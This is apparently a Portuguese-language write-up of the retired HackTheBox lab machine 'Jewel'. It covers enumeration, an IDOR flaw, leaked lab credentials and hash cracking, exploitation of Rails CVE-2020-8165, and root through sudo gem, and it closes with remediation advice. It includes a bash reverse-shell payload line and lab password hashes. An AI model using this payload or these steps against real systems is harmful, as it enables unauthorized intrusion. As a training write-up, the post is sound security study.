6 minutos
HackTheBox - Jewel
Neste primeiro post veremos a resolução da máquina ‘Jewel’ do HackTheBox. A resolução foi efetuada em outubro de 2020, quando a máquina estava ‘ativa’. Em fevereiro de 2021 a mesma passou para ‘retirada’ e com as evidências coletadas anteriormente foi possível publicar este ‘writeup’.
Informações da Máquina
IP: 10.10.10.211
Sistema Operacional: Linux
Nível de dificuldade: Médio
Varredura e Enumeração
Port Scan
Ao executar o Nmap são mostradas três portas abertas: 22, 8000 e 8080.
Utilizando os parâmetros do Nmap podemos executar também os scripts padrões para verificar vulnerabilidades, as versões dos serviços que estão rodando e gerar um arquivo com o resultado do scan.
nmap -v -sC -sV -p 22,8000,8080 -Pn 10.10.10.211 -oN jewel-detail
Webserver
Na saída do comando Nmap é possível verificar duas aplicações Web rodando, uma na porta 8000 e outra na 8080. Na porta 8080, onde o Apache é executado, surge um ‘Blog’, permitindo o cadastro de usuário, login e edição do usuário cadastrado.
URL: http://10.10.10.211:8080/
Ao acessar o link para o recurso ‘gitweb’ na porta 8000 surge o código fonte do ‘Blog’, tendo o Git como seu sistema de controle de versão.
URL: http://10.10.10.211:8000/gitweb/
O acesso às aplicações pode ser feito através de seu IP ou pelo seu domínio, editando o arquivo /etc/hosts na máquina do atacante.
$ sudo vi /etc/hosts
Inserir a linha correspondente ao arquivo.
10.10.10.211 jewel.htb
Desta forma as aplicações podem ser acessadas pelo browser com as seguintes URLs.
http://jewel.htb:8080/
http://jewel.htb:8000/gitweb/
Vulnerabilidades
O sistema permite visualizar o perfil de outros usuários, sendo necessário apenas alterar a id do usuário na URL. Com isto foi possível obter o nome de usuário bill (id=01) e jennifer (id=02).
Além de poder visualizar os dados de outros usuários é possível alterar suas publicações e o campo de texto é vulnerável a HTML Injection.
Analisando o código fonte do HTML foi encontrado o campo de senha comentado no form de usuário. Descomentando o código torna-se possível a alteração de senha do usuário.
<div class="form-group">
<label for="user_password">Password</label>
<input class="form-control" placeholder="Password" type="password" name="user[password]" id="user_password" />
</div>
Como se trata de uma aplicação onde o código fonte do ‘Blog’ é gerenciado pelo Git, é possível navegar pela página e obter informações sobre a linguagem de programação (Ruby), o framework utilizado (Ruby on Rails) e suas versões.
Obtendo as credenciais na tabela users.
bill bill@mail.htb 2020-08-25 08:13:58.662464 2020-08-25 08:13:58.662464
$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
jennifer jennifer@mail.htb 2020-08-25 08:54:42.8483 2020-08-25 08:54:42.8483
$2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy
Ao executar o Linpeas no host mais credenciais foram descobertas.
[+] Finding 'pwd' or 'passw' variables (and interesting php db definitions) inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)
/home/bill/blog/config/database.yml: password: beiw,aDoed1
[+] Searching specific hashes inside files - less false positives (limit 70)
/var/backups/dump_2020-08-27.sql:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
/home/bill/blog/bd.sql:$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
Conteúdo do arquivo /home/bill/blog/config/database.yml.
production:
<<: *default
database: blog_development
host: localhost
port: 5432
username: rails_dev
password: beiw,aDoed1
Os dados do banco de dados PostgreSQL também estão expostos. No arquivo bd.sql a versão do banco e suas tabelas podem ser visualizadas.
Estrutura de tabelas no dump db.sql.
Também foi possível encontrar a versão do Ruby e do Gem (Gerenciador de Pacotes do Ruby).
De posse das credenciais obtidas, nome de usuário e ‘hashes’, foi utilizado o hashcat para identificar o tipo de hash utilizado para o campo de senha. De acordo com o hashcat trata-se de uma hash bcrypt.
Com o john foi possível quebrar o ‘hash’ do usuário bill. A senha revelada é ‘spongebob’.
Pesquisando por vulnerabilidades na versão 5.2.2.1 do Rails foi descoberta a CVE-2020-8165 no site mitre.org.
Trata-se de uma vulnerabilidade de desserialização de dados não confiáveis que existe nas versões do Rails <5.2.4.3, Rails <6.0.3.1 e que pode permitir que um invasor desempacote objetos fornecidos pelo usuário em MemCacheStore e RedisCacheStore, resultando potencialmente em um RCE (Remote Code Execution).
Exploração
Buscando por exploits para a CVE-2020-8165 foi encontrado no github um exploit público.
O exploit consiste em encodar uma string de comando que será o payload a ser enviado ao servidor. O envio do payload é efetuado duas vezes usando o curl e o alvo utilizado é a página de cadastro de usuário.
Para obter uma shell reversa o IP e porta no payload devem ser configurados conforme a máquina do atacante. O resultado será uma URL codificada, que pode ser usada no envio do cadastro de usuário através da interceptação da requisição com o Burp Suite. Ou diretamente com o curl, enviando duas requisições seguidas, conforme orientação do manual do exploit.
irb(main):> code = '`/bin/bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1"`'
Obtendo a shell reversa.
Obtendo a flag do usuário bill.
Escalação de Privilégios
Após executar o exploit com o payload e receber a shell reversa foi possível analisar o conteúdo do diretório do usuário bill. Neste diretório foi encontrado o arquivo oculto do Google Authenticator.
Ao tentar executar algum comando com o ‘sudo’ utilizando este usuário surge a solicitação do código de autenticação do Google Authenticator (verificação em duas etapas).
O código de verificação pode ser obtido com o addon Authenticator instalado no browser.
Para utilizar o código gerado a data e horário do host devem estar sincronizados com a máquina do atacante. Para isto é necessário desabilitar o NTP de fuso-horário automático e setar a hora manualmente, de acordo com a hora e minutos da máquina Jewel.
$ timedatectl set-ntp false
$ sudo timedatectl set-time '2020-10-26 22:34:18'
Após efetuar a sincronização e gerar o código de verificação com o addon Authenticator é possível autenticar com as credenciais bill:spongebob e checar que tipo de permissões possui o usuário.
O usuário bill possui privilégios de root no gem (gerenciador de pacotes do Ruby).
(ALL : ALL) /usr/bin/gem
Buscando no GTFOBins é possível encontrar a forma de escalar privilégios com o gem usando o sudo.
Obtenção de root após a execução do comando com o sudo.
Obtendo a flag do usuário root.
Recomendações
Caso fosse um Pentest realizado para alguma empresa, estas seriam as recomendações para solucionar os problemas encontrados no host.
- Implementar um sistema de permissão de acesso à aplicação ‘gitweb’. Deve ser de uso restrito dos desenvolvedores do sistema e não deve estar acessível para qualquer usuário. Outra opção é remover a sua disponibilidade.
- Implementar a verificação de sessão de usuário na aplicação ‘Blog’ para impedir que um usuário logado possa visualizar os dados de outros usuários.
- Revisão de código fonte da aplicação ‘Blog’ para remover código comentado que possa comprometer a segurança do sistema.
- Implementar validação dos dados enviados nos dois lados da aplicação ‘Blog’, tanto no front-end quanto no back-end, para evitar o envio de dados maliciosos ao servidor.
- Atualizar o software utilizado para o desenvolvimento do sistema e suas dependências.